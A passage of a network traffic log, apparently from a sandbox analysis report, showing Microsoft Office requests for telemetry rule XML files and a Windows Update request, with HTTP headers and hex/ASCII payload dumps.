2024-10-29 12:08:39 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	60491	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:39 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120839Z-16849878b78qwx7pmw9x5fub1c00000004r00000000030g0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:39 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	60492	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:39 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120839Z-16849878b78j5kdg3dndgqw0vg000000085000000000dhth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:39 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	60489	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:39 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VatNPFTcculonAy&MD=pDKKvD8Y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 12:08:40 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7c1fa8cb-791b-4d2e-a784-73d8c1178790 MS-RequestId: 6338d029-90e8-4781-8f5d-76960ce46c2b MS-CV: iaYK72N+MUiK4TQp.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 12:08:39 GMT Connection: close Content-Length: 30005
2024-10-29 12:08:40 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-29 12:08:40 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	60493	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:39 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:39 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 4e9c2d7b-a01e-0053-0a2e-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120839Z-15b8d89586fqj7k5h9gbd8vs9800000007rg0000000032gm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	60494	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:40 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120840Z-16849878b78j7llf5vkyvvcehs00000007q0000000001geq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:40 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	60495	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:40 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120840Z-16849878b78qf2gleqhwczd21s00000006m000000000eu3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:40 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	60496	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:40 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120840Z-16849878b78fhxrnedubv5byks00000004w00000000059hf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	60497	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:40 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 7acc01d2-801e-00ac-78ea-28fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120840Z-r197bdfb6b42rt68rzg9338g1g00000007r0000000006198 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	60498	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:40 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:40 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120840Z-16849878b78q9m8bqvwuva4svc00000004yg00000000e5df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	60501	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:41 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:41 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 80bd6f28-d01e-002b-3d65-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120841Z-r197bdfb6b4grkz4xgvkar0zcs0000000650000000003ba1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:41 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	60500	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:41 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
